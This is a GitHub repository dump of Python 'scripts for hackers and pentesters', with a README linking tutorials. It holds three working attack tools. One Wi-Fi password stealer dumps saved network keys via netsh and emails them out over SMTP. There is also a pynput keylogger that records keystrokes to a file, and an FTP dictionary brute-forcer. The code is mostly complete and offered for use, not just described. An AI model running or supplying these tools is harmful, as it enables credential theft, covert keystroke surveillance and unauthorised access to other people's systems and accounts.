├── .github └── FUNDING.yml ├── .resources ├── colored.png ├── dummy.txt ├── ftpbust3r.png ├── script3.png └── wifi.png ├── README.md └── scripts ├── ftpbust3r.py ├── keybust3r.py ├── scrips.txt └── wifi-password-stealer.py /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 2 | open_collective: # Replace with a single Open Collective username 3 | ko_fi: 0xtraw # Replace with a single Ko-fi username 4 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 5 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 6 | liberapay: # Replace with a single Liberapay username 7 | issuehunt: # Replace with a single IssueHunt username 8 | otechie: # Replace with a single Otechie username 9 | custom: ['https://www.buymeacoffee.com/0xtraw'] 10 | -------------------------------------------------------------------------------- /.resources/colored.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thatstraw/pyscriptsforpentesters/559a8ed5a13a8e1f5aab031cde03fa79992d3f94/.resources/colored.png -------------------------------------------------------------------------------- /.resources/dummy.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /.resources/ftpbust3r.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thatstraw/pyscriptsforpentesters/559a8ed5a13a8e1f5aab031cde03fa79992d3f94/.resources/ftpbust3r.png -------------------------------------------------------------------------------- /.resources/script3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thatstraw/pyscriptsforpentesters/559a8ed5a13a8e1f5aab031cde03fa79992d3f94/.resources/script3.png -------------------------------------------------------------------------------- /.resources/wifi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thatstraw/pyscriptsforpentesters/559a8ed5a13a8e1f5aab031cde03fa79992d3f94/.resources/wifi.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![](.resources/script3.png) 2 | # Python Scripts For Hackers & Pentesters 3 | This repository will contain python scripts for hackers and pentesters. stop being limited with availble tools. Build your own. 4 | 5 | ## Don't be a script kiddie 6 | Don't be ***script*** ***kiddie***, try to write your own ***applications*** and get your *hacking* *tools* to do what you want them to do and if there isn't a *hacking* tool that does what you want to do **create** your own. 7 | ![](.resources/colored.png) 8 | ### Day 01: Creating A Wi-Fi Password Stealer 9 | In this tutorial I'm going to show you how you can create a simple python script that can steal passwords for all the wi-fi networks on a computer. But before we jump into into scripting. This can save you a lot of time and effort unlike using brute forcing method. 10 | **_Complete Guide:_ **https://xtremepentest.hashnode.dev/create-a-your-own-wi-fi-password-stealer 11 | 12 | ![](.resources/wifi.png) 13 | 14 | ![](.resources/colored.png) 15 | ### Day 02: Creating An FTP Brute-Forcer(ftpbust3r) 16 | In this tutorial you will learn how to crack ftp servers using dictionary attack(brute force with a word-list) with the help of a ftplib module in python. A brute-force attack is an attack that submits many passwords to a password protected file or service with the hope of guessing correctly. 17 | 18 | We will be using the ftplib module which comes built-in with python and colorama (third-part) module to print colors in python. 19 | _**Complete Guide:**_ https://xtremepentest.hashnode.dev/creating-an-ftp-brute-forcerftpbust3r-in-python 20 | ![](.resources/ftpbust3r.png) 21 | 22 | ![](.resources/colored.png) 23 | ### Day 03: Creating Your Own Keylogger (keybust3r) 24 | In this guide, we are going to learn how to code a very effective, yet precise keylogger using a third-part python module called pynput. In case if you don't know, a keylogger is program that monitors keystrokes. A keylogger's basic functionality is to monitor keystrokes continuously and sent those keystrokes to a specific location, that can be either your email, server, or stored locally in your system. 25 | **_Complete guide:_** https://xtremepentest.hashnode.dev/creating-your-own-keylogger 26 | 27 | ![](.resources/colored.png) 28 | ### Day 04: A Brief Introduction to Scapy 29 | **Scapy** is a python interactive packet manipulation program/library for computer networks. It runs natively on Linux, Mac OS X and the latest version of **scapy** also supports windows out-out-the-box. So, you can use nearly all **scapy's** features on a windows machine without any problems. 30 | _**Complete guide:**_ https://xtremepentest.hashnode.dev/a-brief-introduction-to-scapy 31 | -------------------------------------------------------------------------------- /scripts/ftpbust3r.py: -------------------------------------------------------------------------------- 1 | from ftplib import FTP # a class to implement the ftp client side 2 | from colorama import Fore, init # for printing fancy colors on terminal 3 | 4 | # init the console for colors (Windows) 5 | # init() 6 | # hostname or IP address of the FTP server 7 | host = input("Enter the hostname/ip: ") 8 | # username of the FTP server, root as default for linux 9 | username = input("Enter the username: ") 10 | 11 | # the file which contains a list of possible password 12 | passwordlist = input("Enter the filename/path of the wordlist: ") 13 | 14 | # a function that checks for anonymous login on the target server ftp server 15 | def check_anon_login(host): 16 | try: 17 | with FTP(host) as ftp: 18 | # trying anonymous credentials 19 | ftp.login() # user anonymous, passwd anonymous@ 20 | 21 | # return true if the server allows anonymous login 22 | return True 23 | except: 24 | # otherwise return false 25 | return False 26 | 27 | # a functiont that brute force the target ftp server 28 | def ftp_buster(host, username, passwordlist): 29 | # open the passwordlist file and read the passwords 30 | with open(passwordlist, "r") as passwd_file: 31 | # iterate over passwords one by one 32 | # if the password is found, break out of the loop 33 | for password in passwd_file.readlines(): 34 | password = password.strip() 35 | with FTP(host=host,timeout=0.1) as ftp: 36 | try: 37 | ftp.login(user=username, passwd=password) 38 | print(f"{Fore.GREEN}Password Found: {password}",Fore.RESET) 39 | break 40 | except Exception as e: 41 | print(f"Trying...:{password}") 42 | continue 43 | 44 | # check if our ftp server accepts anonymous login, if not we try to brute force the password using the ftp_buster function 45 | if check_anon_login(host=host): 46 | print("logged In") 47 | else: 48 | print("Anonymous login failed, Trying to brute force the password") 49 | ftp_buster(host=host, username=username, passwordlist=passwordlist) -------------------------------------------------------------------------------- /scripts/keybust3r.py: -------------------------------------------------------------------------------- 1 | 2 | #! py 3 | ######################################## 4 | #Copyright of Xtreme Pentesting, 2021 # 5 | #https://www.twitter.com/xtremepentest # 6 | #https://www.github.com/0xtraw # 7 | ######################################## 8 | 9 | # this will help us read the keystrokes as the user types in stuff 10 | from pynput.keyboard import Key, Listener 11 | 12 | keys = [] 13 | def on_keypress(key): 14 | # appending the pressed key into the keys list 15 | keys.append(key) 16 | # iterate through each key in a list and call the log_keys function 17 | # which takes the key as an argument 18 | for key in keys: 19 | log_keys(key) 20 | 21 | # a helper function which logs the pressed key into a file 22 | def log_keys(key): 23 | # opening a file to append the pressed key 24 | with open("keys.log", 'a') as logfile: 25 | # removing unwanted strings from our pressed key 26 | key = str(key).replace("'", "") 27 | # check to see if the pressed key has a certain text/string 28 | # if true/ > 0 we replace it with the required value 29 | # otherwise we just append it into the file as it is 30 | if key.find("backspace") > 0: 31 | logfile.write(" backspcae ") 32 | elif key.find("space") > 0: 33 | logfile.write(" ") 34 | elif key.find("shift") > 0: 35 | logfile.write(" shift ") 36 | elif key.find("enter") > 0: 37 | logfile.write("\n") 38 | elif key.find("caps_lock") > 0: 39 | logfile.write(" capslock ") 40 | else: 41 | logfile.write(key) 42 | # finally we cleared our global keys list, so that we don't have key 43 | # duplicates appended in the file. the next time we press another key 44 | keys.clear() 45 | 46 | # starting the main function 47 | if __name__ == '__main__': 48 | # creating an instance of a Listener which which listenes for key strokes and pass the function (`on_keypress`) we created as an argument. 49 | with Listener(on_press=on_keypress) as listener: 50 | # joining the listener thread 51 | listener.join() -------------------------------------------------------------------------------- /scripts/scrips.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /scripts/wifi-password-stealer.py: -------------------------------------------------------------------------------- 1 | # allows us to run system commands 2 | import subprocess 3 | 4 | # import the re module, allows us to use regular expressions 5 | import re 6 | 7 | # for email server 8 | import smtplib 9 | 10 | # for creating an email object 11 | from email.message import EmailMessage 12 | 13 | 14 | command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode() 15 | 16 | profile_names = set(re.findall(r"All User Profile\s*:(.*)", command_output)) 17 | 18 | # this will store the wifi ssid and it's password(ssid: password) 19 | wifi_data = "" 20 | 21 | # iterate throgh the profile names 22 | for profile in profile_names: 23 | 24 | # remove trailing whitespaces and newline characters 25 | profile = profile.strip() 26 | 27 | # show the profile details together with the clear text password 28 | profile_info = subprocess.run(["netsh", "wlan", "show", "profile", profile, "key=clear"], capture_output = True).stdout.decode() 29 | 30 | # use regular expressions to search for the password 31 | profile_password = re.findall(r"Key Content\s*:(.*)", profile_info) 32 | 33 | # check to see if the profile has password 34 | if len(profile_password) == 0: 35 | wifi_data += f"{profile}: Open\n" 36 | else: 37 | wifi_data += f"{profile}: {profile_password[0].strip()}\n" 38 | 39 | # save the wifi details in a file 40 | with open("wifis.txt", "w") as file: 41 | file.write(wifi_data) 42 | 43 | # Create the message for the email 44 | email_message = wifi_data 45 | 46 | 47 | # Create EmailMessage Object 48 | email = EmailMessage() 49 | # Who is the email from 50 | email["from"] = "name_of_sender" 51 | # To which email you want to send the email 52 | email["to"] = "email_address" 53 | # Subject of the email 54 | email["subject"] = "WiFi SSIDs and Passwords" 55 | email.set_content(email_message) 56 | 57 | # Create smtp server 58 | with smtplib.SMTP(host="smtp.gmail.com", port=587) as smtp: 59 | smtp.ehlo() 60 | # Connect securely to server 61 | smtp.starttls() 62 | # Login using username and password to dummy email. Remember to set email to allow less secure apps if using Gmail 63 | smtp.login("login_name", "password") 64 | # Send email. 65 | smtp.send_message(email) 66 | --------------------------------------------------------------------------------